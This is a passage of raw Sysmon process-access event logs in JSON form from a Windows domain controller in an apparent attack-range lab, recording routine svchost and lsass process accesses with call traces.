11:49:40.297","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"636","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":869,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.297\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 636\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.297","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"636","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":870,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.297\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 636\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.297","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"636","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":871,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.297\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.297","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":872,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.297\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.297","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":873,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.297\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+1fe59|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.297","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+1fe59|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":874,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.297\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+19dd3|c:\\windows\\system32\\lsm.dll+1ff57|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.297","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+19dd3|c:\\windows\\system32\\lsm.dll+1ff57|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":875,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.297\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+23c28|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+d69b2|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.297","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+23c28|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+d69b2|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":876,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.297\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+1671d|c:\\windows\\system32\\lsm.dll+23c39|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+d69b2|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 